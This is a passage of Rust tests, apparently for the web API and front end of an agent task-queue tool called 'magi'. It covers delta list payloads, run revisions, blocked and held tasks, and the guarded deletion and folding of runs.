22015        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22016        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22017        let talks = serde_json::to_value(
22018            talks_list(
22019                State(ui.clone()),
22020                query(Some("20260905-000000-d4e5")),
22021                header::HeaderMap::new(),
22022            )
22023            .await
22024            .unwrap()
22025            .0,
22026        )
22027        .unwrap();
22028        assert_eq!(talks.as_array().unwrap().len(), 1);
22029        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22030        assert_eq!(
22031            serde_json::to_value(
22032                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22033                    .await
22034                    .unwrap()
22035                    .0
22036            )
22037            .unwrap(),
22038            serde_json::json!([])
22039        );
22040    }
22041
22042    #[tokio::test]
22043    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22044    async fn delta_payload_benchmark() {
22045        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22046        let ui = delta_test_ui(&home);
22047        let query = |ids: Option<String>| {
22048            Query(ListQuery {
22049                limit: Some(50),
22050                ids,
22051            })
22052        };
22053        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22054        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22055        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22056            .await
22057            .unwrap()
22058            .0;
22059        let queue_id = queue
22060            .iter()
22061            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22062            .unwrap_or(&queue[0])
22063            .task
22064            .id
22065            .clone();
22066        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22067            .await
22068            .unwrap()
22069            .0;
22070        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22071            .await
22072            .unwrap()
22073            .0;
22074        let talks_delta = talks_list(
22075            State(ui.clone()),
22076            query(Some(talks[0].id.clone())),
22077            header::HeaderMap::new(),
22078        )
22079        .await
22080        .unwrap()
22081        .0;
22082        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22083        eprintln!(
22084            "DELTA_PAYLOAD {}",
22085            serde_json::json!({
22086                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22087                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22088                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22089                "counts": [queue.len(), runs.len(), talks.len()],
22090                "blocked": queue_delta.len() - 1,
22091            })
22092        );
22093    }
22094
22095    #[test]
22096    fn runs_revision_moves_when_deleting_an_older_run() {
22097        let temp = TempDir::new().expect("tempdir");
22098        let runs = temp.path().join("runs");
22099        std::fs::create_dir_all(&runs).expect("create runs dir");
22100
22101        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22102
22103        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22104        std::thread::sleep(Duration::from_millis(10));
22105        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22106
22107        let rev_before = runs_revision(&runs);
22108        assert!(rev_before > 0);
22109
22110        let old_dir = runs.join("20260901-100000-old1");
22111        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22112
22113        let rev_after = runs_revision(&runs);
22114        assert_ne!(
22115            rev_before, rev_after,
22116            "deleting an older run must change the revision so other clients see the deletion"
22117        );
22118    }
22119
22120    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22121    /// process-global home entirely — `RunState::save` writes through
22122    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22123    /// (see `tests::home_lock` in the integration suite for why).
22124    fn write_state(runs: &FsPath, state: &RunState) {
22125        let dir = runs.join(&state.id);
22126        std::fs::create_dir_all(&dir).expect("run dir");
22127        std::fs::write(
22128            dir.join("run.json"),
22129            serde_json::to_string_pretty(state).expect("serialize run"),
22130        )
22131        .expect("write run.json");
22132    }
22133
22134    /// A seat starting or finishing is a write to `run.json` like any other,
22135    /// so it moves the same revision the change stream already watches —
22136    /// nothing new for `/api/events` to learn, but the property this feature
22137    /// depends on to reach the phone without a poll.
22138    #[test]
22139    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22140        let temp = TempDir::new().expect("tempdir");
22141        let runs = temp.path().join("runs");
22142        std::fs::create_dir_all(&runs).expect("create runs dir");
22143        let mut state = RunState::new(
22144            PathBuf::from("/repo/magi"),
22145            "main".to_owned(),
22146            "0123456789abcdef".to_owned(),
22147            "task".to_owned(),
22148            Config::default(),
22149        );
22150        state.id = "20260902-100000-c0de".to_owned();
22151        write_state(&runs, &state);
22152
22153        let rev_idle = runs_revision(&runs);
22154        std::thread::sleep(Duration::from_millis(10));
22155        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22156        write_state(&runs, &state);
22157        let rev_started = runs_revision(&runs);
22158        assert_ne!(
22159            rev_idle, rev_started,
22160            "a seat starting must move the revision"
22161        );
22162
22163        std::thread::sleep(Duration::from_millis(10));
22164        state.seat_finished("judge-1");
22165        write_state(&runs, &state);
22166        let rev_finished = runs_revision(&runs);
22167        assert_ne!(
22168            rev_started, rev_finished,
22169            "and clearing it again must move the revision a second time"
22170        );
22171    }
22172
22173    #[tokio::test]
22174    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22175        // `TaskView` flattens `Task`, so this is really asserting that
22176        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22177        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22178        // never touched web.rs, so nothing here caught it if it had.
22179        let fx = Fixture::start().await;
22180        let q = fx.queue();
22181
22182        let mut t = Task::new(
22183            "Task".to_owned(),
22184            "Instruction".to_owned(),
22185            PathBuf::from("/repo"),
22186            Source::Human,
22187        );
22188        t.block(
22189            vec!["20260101-000000-dead".to_owned()],
22190            Some("waiting on Task 1".to_owned()),
22191        );
22192        t.answers.push(crate::queue::AnsweredQuestion {
22193            question: "Which backend?".to_owned(),
22194            answer: "SQLite".to_owned(),
22195        });
22196        q.put(&mut t).expect("put t");
22197
22198        let res = fx.get("/api/queue").await;
22199        assert_eq!(res.status, 200);
22200        let list = res.json();
22201        let view = list
22202            .as_array()
22203            .expect("array")
22204            .iter()
22205            .find(|v| v["id"] == t.id)
22206            .expect("task in list");
22207        assert_eq!(view["status_str"], "blocked");
22208        assert_eq!(
22209            view["blocked_by"],
22210            serde_json::json!(["20260101-000000-dead"])
22211        );
22212        assert_eq!(view["block_reason"], "waiting on Task 1");
22213        assert_eq!(view["answers"][0]["question"], "Which backend?");
22214        assert_eq!(view["answers"][0]["answer"], "SQLite");
22215
22216        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22217        // but never `answers` - that is a settled decision, not state
22218        // describing the current block, so it survives.
22219        let res = fx
22220            .post(&format!("/api/queue/{}/hold", t.short()), None)
22221            .await;
22222        assert_eq!(res.status, 200);
22223        let held = res.json();
22224        assert_eq!(held["status_str"], "held");
22225        assert_eq!(held["blocked_by"], serde_json::json!([]));
22226        assert!(held["block_reason"].is_null());
22227        assert_eq!(held["answers"][0]["answer"], "SQLite");
22228    }
22229
22230    #[tokio::test]
22231    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22232        let fx = Fixture::start().await;
22233        let queue = fx.queue();
22234        let questions = fx.questions();
22235        let mut task = Task::new(
22236            "Disk recovery".into(),
22237            "Inspect".into(),
22238            PathBuf::from("/repo"),
22239            Source::Human,
22240        );
22241        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22242        task.mark_disk_capacity();
22243        queue.put(&mut task).unwrap();
22244        let mut records = Vec::new();
22245        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22246            let mut q = Question::new(
22247                task.id.clone(),
22248                node.into(),
22249                "triage".into(),
22250                "Resume recovery?".into(),
22251                String::new(),
22252                vec![],
22253            );
22254            q.routed_task = Some(task.id.clone());
22255            questions.put(&mut q).unwrap();
22256            records.push(q);
22257        }
22258        let url = format!("/api/queue/{}", task.id);
22259        let view = fx.get(&url).await.json();
22260        assert_eq!(view["status_str"], "held");
22261        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22262        assert!(
22263            view["recovery"]
22264                .as_str()
22265                .unwrap()
22266                .contains("Disk recovery alone will not resume")
22267        );
22268        assert!(
22269            view["recovery"]
22270                .as_str()
22271                .unwrap()
22272                .contains("Disk wait (automatically monitored)")
22273        );
22274        for blocker in view["blockers"].as_array().unwrap() {
22275            assert!(blocker["destination"].is_null());
22276            assert!(
22277                blocker["next"]
22278                    .as_str()
22279                    .unwrap()
22280                    .contains("pending delivery")
22281            );
22282        }
22283        for q in &mut records {
22284            q.routed_chat = Some("owning-chat".into());
22285            questions.put(q).unwrap();
22286        }
22287        let view = fx.get(&url).await.json();
22288        for blocker in view["blockers"].as_array().unwrap() {
22289            assert_eq!(
22290                blocker["destination"],
22291                serde_json::json!(["chat", "owning-chat"])
22292            );
22293            assert_eq!(blocker["resolves_itself"], false);
22294        }
22295        // Answered routed decisions can still be awaiting task-chat application.
22296        for q in &mut records {
22297            q.status = ask::QuestionStatus::Answered;
22298            questions.put(q).unwrap();
22299        }
22300        assert!(crate::triage::pending_for(&questions, &task));
22301        let view = fx.get(&url).await.json();
22302        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22303        assert!(
22304            view["blockers"][0]["next"]
22305                .as_str()
22306                .unwrap()
22307                .contains("not yet applied")
22308        );
22309        for q in &records {
22310            task.mark_triage_applied(&q.id);
22311        }
22312        queue.put(&mut task).unwrap();
22313        assert!(!crate::triage::pending_for(&questions, &task));
22314        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22315        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22316    }
22317
22318    #[test]
22319    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22320        use crate::queue::HoldSource;
22321        let mut task = Task::new(
22322            "Recovery".into(),
22323            "Inspect".into(),
22324            PathBuf::from("/repo"),
22325            Source::Human,
22326        );
22327        assert!(task_recovery(&task).is_none());
22328        task.hold_manual(Some("Operator paused".into()));
22329        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22330        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22331        let text = task_recovery(&task).unwrap();
22332        assert!(text.contains("restores held"));
22333        assert!(text.contains("clears its dependency references"));
22334        task.hold_source = Some(HoldSource::Machine);
22335        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22336        task.mark_disk_capacity();
22337        let view = TaskView::with_inventory(
22338            task.clone(),
22339            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22340        );
22341        let json = serde_json::to_value(view).unwrap();
22342        assert_eq!(json["block_reason"], "Decision needed");
22343        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22344        let recovery = json["recovery"].as_str().unwrap();
22345        assert!(recovery.contains("not current capacity"));
22346        assert!(recovery.contains("triage rechecks"));
22347        assert_eq!(json["blockers"][0]["state"], "missing");
22348        task.blocked_from = Some(TaskStatus::Queued);
22349        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22350        task.blocked_from = None;
22351        assert!(task_recovery(&task).unwrap().contains("restores held"));
22352    }
22353
22354    #[tokio::test]
22355    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22356        let fx = Fixture::start().await;
22357        let q = fx.queue();
22358        let mk = |title: &str| {
22359            Task::new(
22360                title.to_owned(),
22361                "Instruction".to_owned(),
22362                PathBuf::from("/repo"),
22363                Source::Human,
22364            )
22365        };
22366        let mut root = mk("root");
22367        root.hold_manual(Some("waiting".to_owned()));
22368        q.put(&mut root).unwrap();
22369        let mut mid = mk("mid");
22370        mid.block(vec![root.id.clone()], None);
22371        q.put(&mut mid).unwrap();
22372        let mut leaf = mk("leaf");
22373        leaf.block(vec![mid.id.clone()], None);
22374        q.put(&mut leaf).unwrap();
22375
22376        let list = fx.get("/api/queue").await.json();
22377        let find = |id: &str| {
22378            list.as_array()
22379                .unwrap()
22380                .iter()
22381                .find(|v| v["id"] == id)
22382                .unwrap()
22383                .clone()
22384        };
22385        let leaf_view = find(&leaf.id);
22386        assert_eq!(
22387            leaf_view["waits_on"],
22388            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22389        );
22390        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22391        assert_eq!(
22392            find(&mid.id)["waits_on"],
22393            serde_json::json!([format!("{} (held)", root.short())])
22394        );
22395        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22396    }
22397
22398    #[tokio::test]
22399    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22400        let fx = Fixture::start().await;
22401        let q = fx.queue();
22402
22403        // 1. A queued task with runs attached can be deleted.
22404        let mut t1 = Task::new(
22405            "Task 1".to_owned(),
22406            "Instruction 1".to_owned(),
22407            PathBuf::from("/repo"),
22408            Source::Human,
22409        );
22410        let run_id = "20260901-000000-r111";
22411        t1.runs.push(run_id.to_owned());
22412        write_run(&fx.runs(), run_id, RunStatus::Merged);
22413        q.put(&mut t1).expect("put t1");
22414
22415        // Delete by short id
22416        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22417        assert_eq!(res.status, 204);
22418        assert!(res.body.is_empty(), "204 No Content has no body");
22419        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22420        assert!(
22421            fx.runs().join(run_id).exists(),
22422            "run directory must not be deleted when its task is deleted"
22423        );
22424
22425        // 2. A task a live daemon is running is refused with 409.
22426        let mut t2 = Task::new(
22427            "Task 2".to_owned(),
22428            "Instruction 2".to_owned(),
22429            PathBuf::from("/repo"),
22430            Source::Human,
22431        );
22432        t2.status = TaskStatus::Running;
22433        q.put(&mut t2).expect("put t2");
22434        let mut beat = crate::daemon::Status::new();
22435        beat.current = vec![crate::daemon::Current {
22436            worker: None,
22437            task: t2.id.clone(),
22438            run: "20260901-000000-r222".to_owned(),
22439        }];
22440        beat.updated_at = jiff::Timestamp::now();
22441        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22442            .expect("publish a heartbeat");
22443        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22444        assert_eq!(res.status, 409);
22445        assert!(
22446            res.json()["error"]
22447                .as_str()
22448                .unwrap()
22449                .contains("live daemon")
22450        );
22451        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22452
22453        // 3. The same `running` status and an orphaned lock, with no daemon
22454        // behind either, is a leftover and deletable. Before this the phone
22455        // refused it for good: the status never changes on its own and
22456        // nothing drops a lock whose process is gone.
22457        // The daemon is killed: the file stays, the heartbeat stops.
22458        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22459        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22460            .expect("leave a stale heartbeat");
22461        let mut t3 = Task::new(
22462            "Task 3".to_owned(),
22463            "Instruction 3".to_owned(),
22464            PathBuf::from("/repo"),
22465            Source::Human,
22466        );
22467        t3.status = TaskStatus::Running;
22468        q.put(&mut t3).expect("put t3");
22469        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22470        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22471        assert_eq!(res.status, 204);
22472        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22473        assert!(
22474            q.claim(&t3.id).is_ok(),
22475            "the stale lock went with it, so the id is claimable again"
22476        );
22477
22478        // 4. Missing id returns 404
22479        let res = fx.delete("/api/queue/nonexistent").await;
22480        assert_eq!(res.status, 404);
22481    }
22482
22483    #[tokio::test]
22484    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22485        let fx = Fixture::start().await;
22486        let runs = fx.runs();
22487
22488        // 1. Finished and folded run can be deleted along with artifacts
22489        let run_id = "20260901-000000-fold";
22490        let mut state = RunState::new(
22491            PathBuf::from("/repo"),
22492            "main".to_owned(),
22493            "abc".to_owned(),
22494            "instruction".to_owned(),
22495            Config::default(),
22496        );
22497        state.id = run_id.to_owned();
22498        state.status = RunStatus::Merged;
22499        state.candidates.push(crate::run::Candidate {
22500            index: 0,
22501            label: 'A',
22502            agent: "a".to_owned(),
22503            branch: "b".to_owned(),
22504            worktree: PathBuf::from("/w"),
22505            summary: String::new(),
22506            stat: String::new(),
22507            files: 1,
22508            commits: 1,
22509            empty: false,
22510            failed: None,
22511            verified_noop: None,
22512            duration_ms: 0,
22513            folded: true,
22514        });
22515        let dir = runs.join(run_id);
22516        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22517        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22518            .expect("write artifact");
22519        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22520            .expect("write run.json");
22521
22522        // Delete by short id
22523        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22524        assert_eq!(res.status, 204);
22525        assert!(res.body.is_empty(), "204 has no body");
22526        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22527
22528        // 2. A run a live daemon is working on is refused with 409. The
22529        // heartbeat is what makes it refusable: an unfinished run with no
22530        // daemon behind it is a leftover from a killed process, and case 1
22531        // above would otherwise be impossible to tell apart from this one.
22532        let run_running = "20260901-000000-rung";
22533        write_run(&runs, run_running, RunStatus::Prep);
22534        let mut beat = crate::daemon::Status::new();
22535        beat.current = vec![crate::daemon::Current {
22536            worker: None,
22537            task: "20260901-000000-task".to_owned(),
22538            run: run_running.to_owned(),
22539        }];
22540        beat.updated_at = jiff::Timestamp::now();
22541        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22542            .expect("publish a heartbeat");
22543        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22544        assert_eq!(res.status, 409);
22545        assert!(
22546            res.json()["error"]
22547                .as_str()
22548                .unwrap()
22549                .contains("live daemon"),
22550            "the refusal must say who is holding it"
22551        );
22552        assert!(
22553            runs.join(run_running).exists(),
22554            "a run in flight keeps its directory"
22555        );
22556
22557        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22558        let run_unfolded = "20260901-000000-unfd";
22559        let mut state2 = RunState::new(
22560            PathBuf::from("/repo"),
22561            "main".to_owned(),
22562            "abc".to_owned(),
22563            "instruction".to_owned(),
22564            Config::default(),
22565        );
22566        state2.id = run_unfolded.to_owned();
22567        state2.status = RunStatus::Ready;
22568        state2.candidates.push(crate::run::Candidate {
22569            index: 0,
22570            label: 'A',
22571            agent: "a".to_owned(),
22572            branch: "b".to_owned(),
22573            worktree: PathBuf::from("/w"),
22574            summary: String::new(),
22575            stat: String::new(),
22576            files: 1,
22577            commits: 1,
22578            empty: false,
22579            failed: None,
22580            verified_noop: None,
22581            duration_ms: 0,
22582            folded: false,
22583        });
22584        let dir2 = runs.join(run_unfolded);
22585        std::fs::create_dir_all(&dir2).expect("create dir2");
22586        std::fs::write(
22587            dir2.join("run.json"),
22588            serde_json::to_string(&state2).unwrap(),
22589        )
22590        .expect("write run.json");
22591
22592        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22593        assert_eq!(res.status, 409);
22594        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22595        assert!(dir2.exists(), "unfolded run directory is kept");
22596
22597        // 4. Missing id returns 404
22598        let res = fx.delete("/api/runs/nonexistent").await;
22599        assert_eq!(res.status, 404);
22600    }
22601
22602    /// The queue tiles on the Stats tab must render even on a home with no
22603    /// runs at all: queue state is not derived from run history, so hiding
22604    /// the whole dashboard body behind "no runs yet" would drop the one
22605    /// thing this tab promises unconditionally (queued/running/held/done).
22606    /// A DOM-level test would need a browser this suite does not have, so
22607    /// this pins the same invariant textually: `renderStatsQueue` is called
22608    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22609    /// block that gates the run-derived panels.
22610    #[test]
22611    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22612        let start = APP_JS
22613            .find("function renderStats() {")
22614            .expect("renderStats");
22615        let end = start
22616            + APP_JS[start..]
22617                .find("function statsTile(")
22618                .expect("the next top-level function");
22619        let body = &APP_JS[start..end];
22620
22621        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22622        let gate_end = gate_start
22623            + body[gate_start..]
22624                .find("}\n  renderStatsQueue")
22625                .expect("the gate's own closing brace, right before the unconditional call");
22626        let gated = &body[gate_start..gate_end];
22627
22628        assert_eq!(
22629            body.matches("renderStatsQueue(").count(),
22630            1,
22631            "renderStats must call renderStatsQueue exactly once: {body}"
22632        );
22633        assert!(
22634            !gated.contains("renderStatsQueue"),
22635            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22636             run-derived panels on an empty run history - the queue panel has to render \
22637             regardless: {gated}"
22638        );
22639    }
22640
22641    #[test]
22642    fn web_ui_delete_contract_in_front_end() {
22643        // 1. API block has both delete endpoints
22644        assert!(APP_JS.contains("deleteRun:"));
22645        assert!(APP_JS.contains("deleteTask:"));
22646
22647        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22648        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22649            ..APP_JS.find("function renderRuns").unwrap()];
22650        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22651
22652        // 3. Run detail has delete entry and reasons
22653        assert!(APP_JS.contains("renderRunDelete"));
22654        assert!(APP_JS.contains("runDeleteReason"));
22655        assert!(APP_JS.contains("magi fold"));
22656        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22657
22658        // 4. Two-step delete arming and focus on Cancel
22659        assert!(APP_JS.contains("cancel.focus"));
22660        assert!(APP_JS.contains("armedRunDelete"));
22661        assert!(APP_JS.contains("renderTaskDeleteBox"));
22662        assert!(APP_JS.contains("armed${cap(key)}"));
22663
22664        // 5. Running task has disabled delete
22665        assert!(APP_JS.contains("disabled: status === \"running\""));
22666    }
22667
22668    /// Every element a run card's updater reaches for must be in the `refs`
22669    /// the builder handed it.
22670    ///
22671    /// `createRunCard` builds its elements, appends them to the card, and then
22672    /// lists them again in `row.refs`. That second list is the one the updater
22673    /// uses, and nothing connects the two - an element can be built, appended
22674    /// and rendered, and still be missing from `refs`. `superseded` was, for
22675    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22676    /// exception took `syncList` with it, and the deck showed
22677    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22678    /// line is computed before the cards, which is why the failure looked like
22679    /// a server that had lost its runs rather than a front end that had
22680    /// stopped rendering them.
22681    ///
22682    /// A `cargo test` cannot execute the front end, so this reads the two
22683    /// halves out of the source and compares them as sets. It is not a check
22684    /// on the wording of either list: adding an element, renaming one, or
22685    /// reordering them all keeps this passing, and only using one the builder
22686    /// never published fails it.
22687    #[test]
22688    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22689        let build = APP_JS
22690            .find("function createRunCard")
22691            .expect("createRunCard exists");
22692        let update = APP_JS
22693            .find("function updateRunCard")
22694            .expect("updateRunCard exists");
22695        let end = APP_JS
22696            .find("function renderRuns")
22697            .expect("renderRuns exists");
22698
22699        // The builder's published set: the object literal assigned to `refs`.
22700        let builder = &APP_JS[build..update];
22701        let open = builder.find("refs = {").expect("createRunCard sets refs");
22702        let literal = &builder[open + "refs = {".len()..];
22703        let close = literal.find('}').expect("the refs literal is closed");
22704        let published: HashSet<&str> = literal[..close]
22705            .split(',')
22706            // `name` and `name: value` both bind `name`.
22707            .filter_map(|entry| entry.split(':').next())
22708            .map(str::trim)
22709            .filter(|name| !name.is_empty())
22710            .collect();
22711        assert!(
22712            published.len() > 5,
22713            "the refs literal did not parse into names: {published:?}"
22714        );
22715
22716        // What the updaters reach for: every `r.<name>`, where `r` is the
22717        // `const r = row.refs` alias both functions open with.
22718        let mut used: Vec<&str> = Vec::new();
22719        let updaters = &APP_JS[update..end];
22720        for (at, _) in updaters.match_indices("r.") {
22721            // `r` must be the whole identifier, not the tail of another one
22722            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22723            let before = updaters[..at].chars().next_back();
22724            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22725                continue;
22726            }
22727            let rest = &updaters[at + 2..];
22728            let len = rest
22729                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22730                .unwrap_or(rest.len());
22731            if len > 0 {
22732                used.push(&rest[..len]);
22733            }
22734        }
22735        assert!(
22736            used.len() > 5,
22737            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22738        );
22739
22740        let missing: Vec<&str> = used
22741            .iter()
22742            .copied()
22743            .filter(|name| !published.contains(name))
22744            .collect();
22745        assert!(
22746            missing.is_empty(),
22747            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22748             never put in `refs` - every card will throw and the list will \
22749             render empty under a count line that says otherwise. Published: \
22750             {published:?}"
22751        );
22752    }
22753
22754    #[tokio::test]
22755    async fn folding_from_the_phone_reports_what_it_removed() {
22756        let fx = Fixture::start().await;
22757        let runs = fx.runs();
22758
22759        // A run with no candidates has nothing to fold, which is a 200 with an
22760        // honest count rather than an error: the operator asked for the trees
22761        // to be gone and they are.
22762        let id = "20260901-000000-fold";
22763        write_run(&runs, id, RunStatus::Stalled);
22764        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22765        assert_eq!(res.status, 200);
22766        assert_eq!(res.json()["removed_count"], 0);
22767        assert_eq!(res.json()["run"], id);
22768        assert!(
22769            runs.join(id).exists(),
22770            "a fold keeps the run's record; only the worktrees go"
22771        );
22772    }
22773
22774    #[tokio::test]
22775    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22776        let fx = Fixture::start().await;
22777        let runs = fx.runs();
22778        let wt = fx.home.path().join("wt").join("magi").join("dead");
22779        let id = "20260901-000000-dead";
22780        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22781        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22782        std::fs::create_dir_all(&wt).expect("worktree dir");
22783
22784        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22785        assert_eq!(res.status, 200, "{}", res.body);
22786        assert!(
22787            res.json()["removed_count"].as_u64().unwrap() > 0,
22788            "the worktree this build could not read a state for still went"
22789        );
22790        assert!(
22791            !runs.join(id).exists(),
22792            "an unreadable run has no candidate list to fold selectively, so \
22793             the whole record goes - same as `magi fold` on the CLI"
22794        );
22795    }
22796
22797    #[tokio::test]
22798    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22799        let fx = Fixture::start().await;
22800        let runs = fx.runs();
22801        let wt = fx.home.path().join("wt").join("magi").join("gone");
22802        let id = "20260901-000000-gone";
22803        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22804        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22805        std::fs::create_dir_all(&wt).expect("worktree dir");
22806
22807        let res = fx.delete(&format!("/api/runs/{id}")).await;
22808        assert_eq!(res.status, 204, "{}", res.body);
22809        assert!(!runs.join(id).exists(), "the broken record is gone");
22810        assert!(!wt.exists(), "its worktree is gone too");
22811    }
22812
22813    #[tokio::test]
22814    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22815        let fx = Fixture::start().await;
22816        let runs = fx.runs();
22817        let id = "20260901-000000-live";
22818        write_run(&runs, id, RunStatus::Implementing);
22819
22820        let mut beat = crate::daemon::Status::new();
22821        beat.current = vec![crate::daemon::Current {
22822            worker: None,
22823            task: "20260901-000000-task".to_owned(),
22824            run: id.to_owned(),
22825        }];
22826        beat.updated_at = jiff::Timestamp::now();
22827        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22828            .expect("publish a heartbeat");
22829
22830        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22831        assert_eq!(res.status, 409);
22832        assert!(
22833            res.json()["error"]
22834                .as_str()
22835                .unwrap()
22836                .contains("live daemon"),
22837            "folding under a running agent would pull its worktree away"
22838        );
22839    }
22840
22841    #[tokio::test]
22842    async fn fold_merged_requires_a_pr_url() {
22843        let fx = Fixture::start().await;
22844        let runs = fx.runs();
22845        let id = "20260901-000000-nourl";
22846        write_run(&runs, id, RunStatus::Blocked);
22847
22848        let res = fx
22849            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22850            .await;
22851        assert_eq!(res.status, 400, "{}", res.body);
22852
22853        let blank = fx
22854            .post(
22855                &format!("/api/runs/{id}/fold-merged"),
22856                Some(r#"{"pr_url":"   "}"#),
22857            )
22858            .await;
22859        assert_eq!(blank.status, 400, "{}", blank.body);
22860    }
22861
22862    #[tokio::test]
22863    async fn fold_merged_is_404_for_an_unknown_run() {
22864        let fx = Fixture::start().await;
22865        let res = fx
22866            .post(
22867                "/api/runs/nosuchrun/fold-merged",
22868                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22869            )
22870            .await;
22871        assert_eq!(res.status, 404, "{}", res.body);
22872    }
22873
22874    #[tokio::test]
22875    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22876        let fx = Fixture::start().await;
22877        let runs = fx.runs();
22878        let id = "20260901-000000-livemerge";
22879        write_run(&runs, id, RunStatus::Blocked);
22880
22881        let mut beat = crate::daemon::Status::new();
22882        beat.current = vec![crate::daemon::Current {
22883            worker: None,
22884            task: "20260901-000000-task".to_owned(),
22885            run: id.to_owned(),
22886        }];
22887        beat.updated_at = jiff::Timestamp::now();
22888        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22889            .expect("publish a heartbeat");
22890
22891        let res = fx
22892            .post(
